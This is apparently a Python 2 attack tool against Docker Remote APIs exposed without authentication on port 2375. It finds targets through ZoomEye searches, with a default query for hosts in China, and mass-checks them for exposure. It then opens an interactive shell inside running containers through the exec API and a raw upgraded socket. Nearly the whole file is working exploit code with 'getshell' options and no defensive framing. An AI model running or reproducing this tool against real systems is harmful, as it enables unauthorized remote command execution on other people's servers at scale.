# -*- coding:utf-8 -*- import requests import urlparse import argparse import json import socket import time import sys class scan(): def __init__(self): self.VulnerabilityIp = [] def Check(self,url): Check_Url = url+'containers/json' try: TestRe = requests.get(Check_Url,timeout = 5) except: print "Can not connect URL Timeout!" return 1 if 'server' or 'Server' in TestRe.headers.keys(): if 'Docker' in TestRe.headers['server'] or 'Docker' in TestRe.headers['Server'] and 'Command' in TestRe.text: print "\33[31m%s :vulnerability\33[0m" %url self.VulnerabilityIp.append(url) else: print '%s :not vulnerable' %url else: print '%s :not vulnerable' %url def Getshell(self,url,host,port): GetShell_Url = url+'containers/json?all=1' count = 0 try: TestRe = requests.get(GetShell_Url,timeout = 5) except: print "Can not connect URL Timeout!" exit() date = TestRe.text decoded = json.loads(date) CtrlDocter = [] AccCommand = ['sh', '/bin/sh', '/bin/bash', 'bash', '/bin/csh', 'csh','/bin/ksh', 'ksh', '/bin/tcsh', 'tcsh', '/bin/zsh', 'zsh'] for entries in decoded: if ("Up" in entries['Status']) and ("Exited" not in entries['Status']) and (entries['Command'] in AccCommand): count+=1 ID = count DockerID =entries['Id'] Name = entries['Names'] Image = entries['Image'] Command = entries['Command'] detailed = {'ID':str(ID) , 'Name' :Name[0] ,'Image':Image , 'Command' : Command, 'DockerID' : DockerID} CtrlDocter.append(detailed) if count: print "Control Container Number:%s" %count for i in CtrlDocter: print "" for key , value in i.items(): print "\33[31m"+key+":"+value+"\33[0m" else: print "No Container Can Control" return print 'Input exit to leave' while True: CtrlId = raw_input("Input Container ID:") if CtrlId == 'exit': break Command = CtrlDocter[int(CtrlId) - 1]['Command'] CtrlSId = CtrlDocter[int(CtrlId) - 1]['DockerID'][0:12] PostUrl = url+'v1.20/containers/'+CtrlSId+'/exec' HEADER= { 'User-Agent':'Docker-Client/1.8.0 (windows)', 'Content-Length':'156', 'Content-Type':'application/json', 'Accept-Encoding':'gzip'} payload = '{"Tty": true, "Detach": false, "Container": "%s", "User": "", "AttachStdin": true, "Cmd": ["%s"], "AttachStderr": true, "Privileged": false, "AttachStdout": true}' %(CtrlSId,Command) re = requests.post(PostUrl, headers=HEADER, data = payload) decoded = json.loads(re.text) CreatedId = decoded['Id'] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (host, int(port)) sock.connect(server_address) execDockerPOSTtwo = '''\ POST /v1.20/exec/CreatedId/start HTTP/1.1 Host: 115.123.123.79:2375 User-Agent: Docker-Client/1.8.0 (windows) Content-Length: 163 Connection: Upgrade Content-Type: text/plain Upgrade: tcp {"User":"","Privileged":false,"Tty":true,"Container":"ContainerId","AttachStdin":true,"AttachStderr":true,"AttachStdout":true,"Detach":false,"Cmd":["Command"]} ''' execDockerPOSTtwo = execDockerPOSTtwo.replace('ContainerId', CtrlSId).replace('Command', Command) execDockerPOSTtwo = execDockerPOSTtwo.replace("CreatedId", CreatedId) time.sleep(1) sock.sendall(execDockerPOSTtwo) startinfo = sock.recv(1024*10) while True: cmd = raw_input('$:') sock.sendall(cmd+'\x0d') time.sleep(2) if cmd == "exit": break print sock.recv(1024*10) sock.close() def Panel_Scan(self,Search_keyword,PageNum): GetTokenUrl = 'https://api.zoomeye.org/user/login' userinfo ={"username": "username", "password": "password"} tokenrl = requests.post(GetTokenUrl,data = json.dumps(userinfo),verify=False) data = eval(tokenrl.text) Header = {'Authorization': 'JWT %s' %data['access_token']} page = 1 TestIpArgs = [] if(Search_keyword == None): key = 'port:2375 X-Content-Type-Options: nosniff country:"CN"' else: key = Search_keyword while True: try: Searchurl = 'https://api.zoomeye.org/host/search?query=%s&page=%s'%(key,str(page)) print 'Search in page :'+str(page) Searchre = requests.get(Searchurl,headers = Header,verify=False) GetData = json.loads(Searchre.text) if PageNum != None: if page < int(PageNum): page+=1 else: break else: page+=1 for i in GetData['matches']: TestIpArgs.append(i['ip']) except Exception,e: if str(e.message) == 'matches': break print 'Start Test...' file = open('success.txt','w+') for TestIp in TestIpArgs: TestIp = 'http://'+TestIp+':2375/' print 'test:\t'+TestIp self.Check(TestIp) if len(self.VulnerabilityIp): print str(len(self.VulnerabilityIp))+' Vulnerability Url have found' else: print 'No Vulnerability Url found' for IP in self.VulnerabilityIp: print IP file.writelines(IP+'\n') file.close() def filescan(self,filepath): file = open(filepath,'r') data = file.readlines() for line in data: line=line.strip('\n') self.Check(line) file.close() if len(self.VulnerabilityIp): print str(len(self.VulnerabilityIp))+' Vulnerability Url have found' else: print 'No Vulnerability Url found' for IP in self.VulnerabilityIp: print IP def filegetshell(self,filepath): file = open(filepath,'r') data = file.readlines() count = 0 urlargs = [] for line in data: count+=1 line = line.strip('\n') TmpUrl = urlparse.urlparse(line) host= TmpUrl.netloc.split(':') detail = {'ID':count,'host':host[0],'port':host[1],'url':line} urlargs.append(detail) print detail while True: num = raw_input('UrlID:') if num == 'exit': break self.Getshell(urlargs[int(num)-1]['url'], urlargs[int(num)-1]['host'],urlargs[int(num)-1]['port']) if __name__ == '__main__': parse = argparse.ArgumentParser() parse.add_argument('-u', dest = 'url' , help = 'example:http://111.222.333.444:2375/') parse.add_argument('-c', dest = 'check' , action = 'store_true', default = False , help = 'check') parse.add_argument('-g',dest = 'getshell' , action = 'store_true' , default = False , help = 'getshell') parse.add_argument('-f',dest = 'zoomeye',action = 'store_true',default = False,help = 'Whether Use Zoomeye') parse.add_argument('-k',dest = 'keyword',help = 'Search keyword default:port:2375 X-Content-Type-Options: nosniff country:"CN"') parse.add_argument('-p',dest = 'PageNum',help = 'Search PageNum') parse.add_argument('-d',dest = 'dictpath',help = 'Detection of URL in the file') parse.add_argument('-s',dest = 'CtrlDict',help = 'Has confirmed the existence of loopholes, try to get shell') args = parse.parse_args() Action_check = args.check Action_getshell = args.getshell Action_Panel_Test = args.zoomeye Search_keyword = args.keyword PageNum = args.PageNum filepath = args.dictpath CtrlDictpath = args.CtrlDict if(Action_Panel_Test != True and filepath == None and CtrlDictpath == None): TmpUrl = urlparse.urlparse(args.url) host= TmpUrl.netloc.split(':') TestUrl = urlparse.urlunparse((TmpUrl.scheme,TmpUrl.netloc,'/','','','')) new_scan = scan() if Action_check == True: print 'Start Test...' new_scan.Check(TestUrl) if(Action_getshell == True): new_scan.Getshell(TestUrl , host[0] , host[1]) if(Action_Panel_Test == True): new_scan.Panel_Scan(Search_keyword,PageNum) if(filepath != None): new_scan.filescan(filepath) if(CtrlDictpath != None): new_scan.filegetshell(CtrlDictpath)